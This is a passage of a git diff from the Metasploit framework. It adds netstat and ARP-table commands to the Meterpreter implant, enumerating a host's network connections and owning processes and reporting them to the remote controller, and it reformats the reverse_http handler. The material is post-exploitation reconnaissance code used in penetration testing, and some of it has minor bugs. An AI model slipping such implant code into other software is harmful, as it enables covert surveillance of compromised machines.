+ // check available memory and allocate if necessary
+ if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) {
+ free(tablev4);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ currentv4 = &tablev4->table[i];
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+ current_connection->type = AF_INET;
+ current_connection->local_addr.addr = currentv4->dwLocalAddr;
+ current_connection->remote_addr.addr = currentv4->dwRemoteAddr;
+ current_connection->local_port = ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff));
+ // if socket is in LISTEN, remote_port is garbage, force value to 0
+ if (currentv4->dwState == MIB_TCP_STATE_LISTEN)
+ current_connection->remote_port = 0;
+ else
+ current_connection->remote_port = ntohs((u_short)(currentv4->dwRemotePort & 0x0000ffff));
+
+ state = currentv4->dwState;
+ if ((state <= 0) || (state > 12))
+ state = 13; // points to UNKNOWN in the state array
+ strncpy(current_connection->state, tcp_connection_states[state], sizeof(current_connection->state));
+ strncpy(current_connection->protocol, "tcp", sizeof(current_connection->protocol));
+
+ // force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ set_process_name(currentv4->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ }
+ else { // gett failed
+ result = GetLastError();
+ if (tablev4)
+ free(tablev4);
+ break;
+ }
+ if (tablev4)
+ free(tablev4);
+ }
+ // IPv6 part
+ dwSize = 0;
+ if (gett(NULL,&dwSize, TRUE, AF_INET6, TCP_TABLE_OWNER_MODULE_ALL, 0) == ERROR_INSUFFICIENT_BUFFER) {
+ tablev6 = (MIB_TCP6TABLE_OWNER_MODULE *)malloc(dwSize);
+ if (gett(tablev6, &dwSize, TRUE, AF_INET6, TCP_TABLE_OWNER_MODULE_ALL, 0) == NO_ERROR) {
+ for(i=0; i<tablev6->dwNumEntries; i++) {
+ // check available memory and allocate if necessary
+ if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) {
+ free(tablev6);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ currentv6 = &tablev6->table[i];
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+ current_connection->type = AF_INET6;
+ memcpy(&current_connection->local_addr.addr6, currentv6->ucLocalAddr, sizeof(current_connection->local_addr.addr6));
+ memcpy(&current_connection->remote_addr.addr6, currentv6->ucRemoteAddr, sizeof(current_connection->remote_addr.addr6));
+ current_connection->local_port = ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff));
+ // if socket is in LISTEN, remote_port is garbage, force value to 0
+ if (currentv6->dwState == MIB_TCP_STATE_LISTEN)
+ current_connection->remote_port = 0;
+ else
+ current_connection->remote_port = ntohs((u_short)(currentv6->dwRemotePort & 0x0000ffff));
+
+ state = currentv6->dwState;
+ if ((state <= 0) || (state > 12))
+ state = 13; // points to UNKNOWN in the state array
+ strncpy(current_connection->state, tcp_connection_states[state], sizeof(current_connection->state));
+ strncpy(current_connection->protocol, "tcp6", sizeof(current_connection->protocol));
+
+ // force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ set_process_name(currentv6->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ }
+ else { // gett failed
+ result = GetLastError();
+ if (tablev6)
+ free(tablev6);
+ break;
+ }
+ if (tablev6)
+ free(tablev6);
+ }
+
+ } while (0);
+ return result;
+}
+
+/*
+ * retrieve udp table for win 2000 and NT4 ?
+ */
+DWORD windows_get_udp_table_win2000_down(struct connection_table **table_connection)
+{
+ PMIB_UDPTABLE pUdpTable = NULL;
+ struct connection_entry * current_connection;
+ DWORD dwSize = 0;
+ DWORD dwRetVal = 0;
+ DWORD result = ERROR_SUCCESS;
+ DWORD i;
+
+ do {
+ dwRetVal = GetUdpTable(pUdpTable, &dwSize, TRUE);
+ dprintf("[NETSTAT UDP] need %d bytes",dwSize);
+ /* Get the size required by GetUdpTable() */
+ if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) {
+ pUdpTable = (MIB_UDPTABLE *) malloc (dwSize);
+ }
+ else if (dwRetVal != NO_ERROR) {
+ result = ERROR_NOT_SUPPORTED;
+ break;
+ }
+
+ if ((dwRetVal = GetUdpTable(pUdpTable, &dwSize, TRUE)) == NO_ERROR) {
+ dprintf("[NETSTAT] found %d udp connections", pUdpTable->dwNumEntries);
+ for (i = 0 ; i < pUdpTable->dwNumEntries ; i++) {
+ // check available memory and allocate if necessary
+ if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) {
+ free(pUdpTable);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ // GetUdpTable reports only listening UDP sockets, not "active" ones
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+ current_connection->type = AF_INET;
+ current_connection->local_addr.addr = pUdpTable->table[i].dwLocalAddr;
+ current_connection->remote_addr.addr = 0;
+ current_connection->local_port = ntohs((u_short)(pUdpTable->table[i].dwLocalPort & 0x0000ffff));
+ current_connection->remote_port = 0;
+
+ // force state to ""
+ strncpy(current_connection->state, "", sizeof(current_connection->state));
+ strncpy(current_connection->protocol, "udp", sizeof(current_connection->protocol));
+
+ // force program_name to "-"
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ free(pUdpTable);
+ }
+ else { // GetUdpTable failed
+ result = GetLastError();
+ break;
+ }
+ } while (0) ;
+
+ return result;
+}
+
+
+/*
+ * retrieve udp table for win xp and up
+ */
+DWORD windows_get_udp_table(struct connection_table **table_connection)
+{
+ DWORD result = ERROR_SUCCESS;
+ struct connection_entry * current_connection = NULL;
+ MIB_UDPTABLE_OWNER_MODULE * tablev4 = NULL;
+ MIB_UDP6TABLE_OWNER_MODULE * tablev6 = NULL;
+ MIB_UDPROW_OWNER_MODULE * currentv4 = NULL;
+ MIB_UDP6ROW_OWNER_MODULE * currentv6 = NULL;
+ DWORD i, dwSize;
+
+ ptr_GetExtendedUdpTable geut = NULL;
+
+ geut = (ptr_GetExtendedTcpTable)GetProcAddress(GetModuleHandle("iphlpapi"), "GetExtendedUdpTable");
+
+ // systems that don't support GetExtendedUdpTable
+ if (geut == NULL) {
+ return windows_get_udp_table_win2000_down(table_connection);
+ }
+ do {
+ // IPv4 part
+ dwSize = 0;
+ if (geut(NULL,&dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_MODULE, 0) == ERROR_INSUFFICIENT_BUFFER) {
+ tablev4 = (MIB_UDPTABLE_OWNER_MODULE *)malloc(dwSize);
+ if (geut(tablev4, &dwSize, TRUE, AF_INET, UDP_TABLE_OWNER_MODULE, 0) == NO_ERROR) {
+ for(i=0; i<tablev4->dwNumEntries; i++) {
+ // check available memory and allocate if necessary
+ if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) {
+ free(tablev4);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ // GetExtendedUdpTable reports only listening UDP sockets, not "active" ones
+ currentv4 = &tablev4->table[i];
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+ current_connection->type = AF_INET;
+ current_connection->local_addr.addr = currentv4->dwLocalAddr;
+ current_connection->remote_addr.addr = 0;
+ current_connection->local_port = ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff));
+ current_connection->remote_port = 0;
+
+ strncpy(current_connection->state, "", sizeof(current_connection->state));
+ strncpy(current_connection->protocol, "udp", sizeof(current_connection->protocol));
+
+ // force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ set_process_name(currentv4->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ }
+ else { // geut failed
+ result = GetLastError();
+ if (tablev4)
+ free(tablev4);
+ break;
+ }
+ if (tablev4)
+ free(tablev4);
+ }
+ // IPv6 part
+ dwSize = 0;
+ if (geut(NULL,&dwSize, TRUE, AF_INET6, UDP_TABLE_OWNER_MODULE, 0) == ERROR_INSUFFICIENT_BUFFER) {
+ tablev6 = (MIB_UDP6TABLE_OWNER_MODULE *)malloc(dwSize);
+ if (geut(tablev6, &dwSize, TRUE, AF_INET6, UDP_TABLE_OWNER_MODULE, 0) == NO_ERROR) {
+ for(i=0; i<tablev6->dwNumEntries; i++) {
+ // check available memory and allocate if necessary
+ if (check_and_allocate(table_connection) == ERROR_NOT_ENOUGH_MEMORY) {
+ free(tablev6);
+ return ERROR_NOT_ENOUGH_MEMORY;
+ }
+ currentv6 = &tablev6->table[i];
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+ current_connection->type = AF_INET6;
+ memcpy(&current_connection->local_addr.addr6, currentv6->ucLocalAddr, sizeof(current_connection->local_addr.addr6));
+ memset(&current_connection->remote_addr.addr6, 0, sizeof(current_connection->remote_addr.addr6));
+ current_connection->local_port = ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff));
+ current_connection->remote_port = 0;
+
+ strncpy(current_connection->state, "", sizeof(current_connection->state));
+ strncpy(current_connection->protocol, "udp6", sizeof(current_connection->protocol));
+
+ // force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ set_process_name(currentv6->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ }
+ else { // gett failed
+ result = GetLastError();
+ if (tablev6)
+ free(tablev6);
+ break;
+ }
+ if (tablev6)
+ free(tablev6);
+ }
+
+ } while (0);
+ return result;
+
+}
+
+
+
+DWORD windows_get_connection_table(Remote *remote, Packet *response)
+{
+ struct connection_table *table_connection = NULL;
+ struct connection_entry * current_connection;
+ DWORD dwRetVal;
+ int index;
+ DWORD local_port_be, remote_port_be;
+
+ table_connection = (struct connection_table *)calloc(sizeof(struct connection_table) + 10 * sizeof(struct connection_entry), 1);
+ table_connection->max_entries = 10;
+
+ dwRetVal = windows_get_tcp_table(&table_connection);
+ if (dwRetVal == ERROR_NOT_ENOUGH_MEMORY)
+ return ERROR_NOT_ENOUGH_MEMORY;
+
+ dwRetVal = windows_get_udp_table(&table_connection);
+ if (dwRetVal == ERROR_NOT_ENOUGH_MEMORY)
+ return ERROR_NOT_ENOUGH_MEMORY;
+
+
+ for(index = 0; index < table_connection->entries; index++) {
+ Tlv connection[7];
+ current_connection = &table_connection->table[index];
+ if (current_connection->type == AF_INET) {
+ connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW;
+ connection[0].header.length = sizeof(__u32);
+ connection[0].buffer = (PUCHAR)&current_connection->local_addr.addr;
+
+ connection[1].header.type = TLV_TYPE_PEER_HOST_RAW;
+ connection[1].header.length = sizeof(__u32);
+ connection[1].buffer = (PUCHAR)&current_connection->remote_addr.addr;
+ }
+ else {
+ connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW;
+ connection[0].header.length = sizeof(__u128);
+ connection[0].buffer = (PUCHAR)&current_connection->local_addr.addr6;
+
+ connection[1].header.type = TLV_TYPE_PEER_HOST_RAW;
+ connection[1].header.length = sizeof(__u128);
+ connection[1].buffer = (PUCHAR)&current_connection->remote_addr.addr6;
+ }
+
+ local_port_be = htonl(current_connection->local_port);
+ connection[2].header.type = TLV_TYPE_LOCAL_PORT;
+ connection[2].header.length = sizeof(__u32);
+ connection[2].buffer = (PUCHAR)&local_port_be;
+
+ remote_port_be = htonl(current_connection->remote_port);
+ connection[3].header.type = TLV_TYPE_PEER_PORT;
+ connection[3].header.length = sizeof(__u32);
+ connection[3].buffer = (PUCHAR)&remote_port_be;
+
+ connection[4].header.type = TLV_TYPE_MAC_NAME;
+ connection[4].header.length = strlen(current_connection->protocol) + 1;
+ connection[4].buffer = (PUCHAR)(current_connection->protocol);
+
+ connection[5].header.type = TLV_TYPE_SUBNET_STRING;
+ connection[5].header.length = strlen(current_connection->state) + 1;
+ connection[5].buffer = (PUCHAR)(current_connection->state);
+
+ connection[6].header.type = TLV_TYPE_PROCESS_NAME;
+ connection[6].header.length = strlen(current_connection->program_name) + 1;
+ connection[6].buffer = (PUCHAR)(current_connection->program_name);
+
+ packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7);
+ }
+ dprintf("sent %d connections", table_connection->entries);
+
+ if (table_connection)
+ free(table_connection);
+
+ return ERROR_SUCCESS;
+}
+
+#else
+
+#include <sys/types.h>
+#include <dirent.h>
+
+char *tcp_connection_states[] = {
+ "", "ESTABLISHED", "SYN_SENT", "SYN_RECV", "FIN_WAIT1", "FIN_WAIT2", "TIME_WAIT",
+ "CLOSED", "CLOSE_WAIT", "LAST_ACK", "LISTEN", "CLOSING", "UNKNOWN"
+};
+char *udp_connection_states[] = {
+ "", "ESTABLISHED", "", "", "", "", "", "", "", "", "", "", "UNKNOWN"
+};
+
+
+DWORD linux_parse_proc_net_file(char * filename, struct connection_table ** table_connection, char type, char * protocol, char tableidx )
+{
+ struct connection_table * tmp_table;
+ struct connection_entry * current_connection;
+ char ** connection_states;
+ FILE * fd;
+ char buffer[300], buffer_junk[100];
+ __u32 local_addr, remote_addr;
+ __u128 local_addr6, remote_addr6;
+ __u32 local_port, remote_port;
+ __u32 state, uid, inode;
+ __u32 newsize;
+
+ fd = fopen(filename, "r");
+ if (fd == NULL)
+ return -1;
+
+ if (tableidx == 0) // TCP states
+ connection_states = tcp_connection_states;
+ else // UDP states
+ connection_states = udp_connection_states;
+
+ /*
+ * read first line that we don't need
+ * sl local_address remote_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
+ */
+ while (!feof(fd) && fgetc(fd) != '\n');
+ while (!feof(fd) && (fgets(buffer, sizeof(buffer), fd) != NULL)) {
+ if ((*table_connection)->entries >= (*table_connection)->max_entries) {
+ newsize = sizeof(struct connection_table);
+ newsize += ((*table_connection)->entries + 10) * sizeof(struct connection_entry);
+ tmp_table = realloc(*table_connection, newsize);
+ *table_connection = tmp_table;
+ memset(&(*table_connection)->table[(*table_connection)->entries], 0, 10 * sizeof(struct connection_entry));
+ (*table_connection)->max_entries += 10;
+ }
+
+ current_connection = &(*table_connection)->table[(*table_connection)->entries];
+
+ if (type == AF_INET) {
+ if (sscanf(buffer, " %*u: %lX:%x %lX:%x %x %*X:%*X %*x:%*X %*x %u %*u %u %[^\n] ", &local_addr, &local_port,
+ &remote_addr, &remote_port, &state, &uid, &inode, buffer_junk) == 8) {
+
+ current_connection->local_addr.addr = local_addr;
+ current_connection->remote_addr.addr = remote_addr;
+ }
+ else
+ continue;
+ }
+ else { // AF_INET6
+ if (sscanf(buffer, " %*u: %08X%08X%08X%08X:%x %08X%08x%08X%08X:%x %x %*X:%*X %*x:%*X %*x %u %*u %u %[^\n] ", &local_addr6.a1,
+ &local_addr6.a2,&local_addr6.a3, &local_addr6.a4, &local_port, &remote_addr6.a1, &remote_addr6.a2, &remote_addr6.a3,
+ &remote_addr6.a4,&remote_port, &state, &uid, &inode, buffer_junk) == 14) {
+ memcpy(&current_connection->local_addr.addr6, &local_addr6, sizeof(__u128));
+ memcpy(&current_connection->remote_addr.addr6, &remote_addr6, sizeof(__u128));
+ }
+ else
+ continue;
+ }
+
+ current_connection->type = type;
+ current_connection->local_port = local_port;
+ current_connection->remote_port = remote_port;
+ current_connection->uid = uid;
+ current_connection->inode = inode;
+ // protocol such as tcp/tcp6/udp/udp6
+ strncpy(current_connection->protocol, protocol, sizeof(current_connection->protocol));
+ if ((state < 0) && (state > 11))
+ state = 12; // points to UNKNOWN in the table
+
+ // state, number to string : 0x0A --> LISTEN
+ strncpy(current_connection->state, connection_states[state], sizeof(current_connection->state));
+
+ // initialize every program_name to "-", will be changed if we find the good info in /proc
+ strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
+
+ (*table_connection)->entries++;
+ }
+ fclose(fd);
+ return 0;
+}
+
+DWORD linux_proc_get_program_name(struct connection_entry * connection, unsigned char * pid)
+{
+ FILE *fd;
+ char buffer[30], buffer_file[50], name[30];
+
+ snprintf(buffer, sizeof(buffer), "/proc/%s/status", pid);
+
+ fd = fopen(buffer, "r");
+ if (fd == NULL)
+ return -1;
+
+ if (fgets(buffer_file, sizeof(buffer_file), fd) == NULL) {
+ fclose(fd);
+ return -1;
+ }
+
+ if (sscanf(buffer_file, "Name: %s\n", name) != 1) {
+ fclose(fd);
+ return -1;
+ }
+
+ snprintf(connection->program_name, sizeof(connection->program_name), "%s/%s",pid,name);
+ fclose(fd);
+ return 0;
+}
+
+struct connection_entry * find_connection(struct connection_table * table_connection, __u32 inode)
+{
+ __u32 i;
+ for( i = 0 ; i < table_connection->entries ; i++) {
+ if (table_connection->table[i].inode == inode)
+ return &table_connection->table[i];
+ }
+ return NULL;
+}
+
+DWORD linux_proc_fill_program_name(struct connection_table * table_connection)
+{
+ char buffer[60];
+ struct dirent *procent, *fdent;
+ DIR * procfd, * pidfd;
+ struct stat stat_buf;
+ struct connection_entry * connection;
+
+ procfd = opendir("/proc");
+ if (procfd == NULL)
+ return -1;
+ while ((procent = readdir(procfd)) != NULL) {
+ // not a pid directory
+ if (!isdigit(*(procent->d_name)))
+ continue;
+
+ snprintf(buffer, sizeof(buffer), "/proc/%s/fd/", procent->d_name);
+ if ((pidfd = opendir(buffer)) == NULL)
+ continue;
+
+ while((fdent = readdir(pidfd)) != NULL) {
+
+ snprintf(buffer, sizeof(buffer), "/proc/%s/fd/%s", procent->d_name, fdent->d_name);
+ if (stat(buffer, &stat_buf) < 0)
+ continue;
+ if (!S_ISSOCK(stat_buf.st_mode))
+ continue;
+ // ok, FD is a socket, search if we have it in our list
+ if ((connection = find_connection(table_connection, stat_buf.st_ino)) != NULL)
+ linux_proc_get_program_name(connection, procent->d_name);
+ }
+ closedir(pidfd);
+ }
+ closedir(procfd);
+ return 0;
+}
+
+
+DWORD linux_proc_get_connection_table(struct connection_table ** table_connection)
+{
+ *table_connection = calloc(sizeof(struct connection_table) + 10 * sizeof(struct connection_entry), 1);
+ (*table_connection)->max_entries = 10;
+
+ linux_parse_proc_net_file("/proc/net/tcp" , table_connection, AF_INET , "tcp", 0);
+ linux_parse_proc_net_file("/proc/net/tcp6", table_connection, AF_INET6, "tcp6", 0);
+ linux_parse_proc_net_file("/proc/net/udp" , table_connection, AF_INET , "udp", 1);
+ linux_parse_proc_net_file("/proc/net/udp6", table_connection, AF_INET6, "udp6", 1);
+
+ // fill the PID/program_name part
+ linux_proc_fill_program_name(*table_connection);
+
+ return ERROR_SUCCESS;
+}
+
+DWORD linux_get_connection_table(Remote *remote, Packet *response)
+{
+ struct connection_table *table_connection = NULL;
+ __u32 local_port_be, remote_port_be, uid_be, inode_be;
+ __u32 index;
+ DWORD result;
+
+ dprintf("getting connection list through /proc/net");
+ result = linux_proc_get_connection_table(&table_connection);
+ dprintf("result = %d, table_connection = 0x%p , entries : %d", result, table_connection, table_connection->entries);
+
+ for(index = 0; index < table_connection->entries; index++) {
+ Tlv connection[9];
+ if (table_connection->table[index].type == AF_INET) {
+ connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW;
+ connection[0].header.length = sizeof(__u32);
+ connection[0].buffer = (PUCHAR)&table_connection->table[index].local_addr.addr;
+
+ connection[1].header.type = TLV_TYPE_PEER_HOST_RAW;
+ connection[1].header.length = sizeof(__u32);
+ connection[1].buffer = (PUCHAR)&table_connection->table[index].remote_addr.addr;
+ }
+ else {
+ connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW;
+ connection[0].header.length = sizeof(__u128);
+ connection[0].buffer = (PUCHAR)&table_connection->table[index].local_addr.addr6;
+
+ connection[1].header.type = TLV_TYPE_PEER_HOST_RAW;
+ connection[1].header.length = sizeof(__u128);
+ connection[1].buffer = (PUCHAR)&table_connection->table[index].remote_addr.addr6;
+ }
+
+ local_port_be = htonl(table_connection->table[index].local_port & 0x0000ffff);
+ connection[2].header.type = TLV_TYPE_LOCAL_PORT;
+ connection[2].header.length = sizeof(__u32);
+ connection[2].buffer = (PUCHAR)&local_port_be;
+
+ remote_port_be = htonl(table_connection->table[index].remote_port & 0x0000ffff);
+ connection[3].header.type = TLV_TYPE_PEER_PORT;
+ connection[3].header.length = sizeof(__u32);
+ connection[3].buffer = (PUCHAR)&remote_port_be;
+
+ connection[4].header.type = TLV_TYPE_MAC_NAME;
+ connection[4].header.length = strlen(table_connection->table[index].protocol) + 1;
+ connection[4].buffer = (PUCHAR)(table_connection->table[index].protocol);
+
+ connection[5].header.type = TLV_TYPE_SUBNET_STRING;
+ connection[5].header.length = strlen(table_connection->table[index].state) + 1;
+ connection[5].buffer = (PUCHAR)(table_connection->table[index].state);
+
+ uid_be = htonl(table_connection->table[index].uid);
+ connection[6].header.type = TLV_TYPE_PID;
+ connection[6].header.length = sizeof(__u32);
+ connection[6].buffer = (PUCHAR)&uid_be;
+
+ inode_be = htonl(table_connection->table[index].inode);
+ connection[7].header.type = TLV_TYPE_ROUTE_METRIC;
+ connection[7].header.length = sizeof(__u32);
+ connection[7].buffer = (PUCHAR)&inode_be;
+
+ connection[8].header.type = TLV_TYPE_PROCESS_NAME;
+ connection[8].header.length = strlen(table_connection->table[index].program_name) + 1;
+ connection[8].buffer = (PUCHAR)(table_connection->table[index].program_name);
+
+ packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 9);
+ }
+ dprintf("sent %d connections", table_connection->entries);
+
+ if (table_connection)
+ free(table_connection);
+
+}
+
+#endif
+
+/*
+ * Returns zero or more connection entries to the requestor from the connection list
+ */
+DWORD request_net_config_get_netstat(Remote *remote, Packet *packet)
+{
+ Packet *response = packet_create_response(packet);
+ DWORD result;
+
+#ifdef _WIN32
+ result = windows_get_connection_table(remote, response);
+#else
+ result = linux_get_connection_table(remote, response);
+#endif
+
+ packet_transmit_response(result, remote, response);
+
+ return ERROR_SUCCESS;
+}
+
View
4 external/source/meterpreter/source/extensions/stdapi/server/net/net.h
@@ -49,6 +49,10 @@ DWORD request_net_config_remove_route(Remote *remote, Packet *packet);
DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet);
+DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet);
+
+DWORD request_net_config_get_netstat(Remote *remote, Packet *packet);
+
// Socket
DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet);
View
8 external/source/meterpreter/source/extensions/stdapi/server/stdapi.c
@@ -325,6 +325,14 @@ Command customCommands[] =
{ request_net_config_get_interfaces, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
+ { "stdapi_net_config_get_arp_table",
+ { request_net_config_get_arp_table, { 0 }, 0 },
+ { EMPTY_DISPATCH_HANDLER },
+ },
+ { "stdapi_net_config_get_netstat",
+ { request_net_config_get_netstat, { 0 }, 0 },
+ { EMPTY_DISPATCH_HANDLER },
+ },
// Socket
{ "stdapi_net_socket_tcp_shutdown",
View
20 external/source/meterpreter/source/extensions/stdapi/stdapi.h
@@ -360,6 +360,11 @@
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_STDAPI, \
1424)
+#define TLV_TYPE_ARP_ENTRY \
+ MAKE_CUSTOM_TLV( \
+ TLV_META_TYPE_GROUP, \
+ TLV_TYPE_EXTENSION_STDAPI, \
+ 1425)
#define TLV_TYPE_IP \
MAKE_CUSTOM_TLV( \
@@ -434,6 +439,21 @@
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_STDAPI, \
1504)
+#define TLV_TYPE_NETSTAT_ENTRY \
+ MAKE_CUSTOM_TLV( \
+ TLV_META_TYPE_GROUP, \
+ TLV_TYPE_EXTENSION_STDAPI, \
+ 1505)
+#define TLV_TYPE_PEER_HOST_RAW \
+ MAKE_CUSTOM_TLV( \
+ TLV_META_TYPE_RAW, \
+ TLV_TYPE_EXTENSION_STDAPI, \
+ 1506)
+#define TLV_TYPE_LOCAL_HOST_RAW \
+ MAKE_CUSTOM_TLV( \
+ TLV_META_TYPE_RAW, \
+ TLV_TYPE_EXTENSION_STDAPI, \
+ 1507)
#define TLV_TYPE_SHUTDOWN_HOW \
MAKE_CUSTOM_TLV( \
View
2 external/source/meterpreter/workspace/ext_server_stdapi/Makefile
@@ -32,6 +32,8 @@ objects = \
server/general.o \
server/net/config/interface.o \
server/net/config/route.o \
+ server/net/config/arp.o \
+ server/net/config/netstat.o \
server/net/socket/tcp.o \
server/net/socket/tcp_server.o \
server/net/socket/udp.o \
View
1,272 external/source/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
637 additions, 635 deletions not shown because the diff is too large. Please use a local Git client to view these changes.
View
139 lib/msf/core/handler/reverse_http.rb
@@ -15,8 +15,7 @@ module ReverseHttp
include Msf::Handler
#
- # Returns the string representation of the handler type, in this case
- # 'reverse_http'.
+ # Returns the string representation of the handler type
#
def self.handler_type
return "reverse_http"
@@ -41,13 +40,66 @@ def self.general_handler_type
#
# Precalculated checkums as fallback
#
- URI_CHECKSUM_PRECALC = ["Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"]
+ URI_CHECKSUM_PRECALC = [
+ "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
+ "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
+ "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
+ "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
+ "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
+ "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
+ "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
+ "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
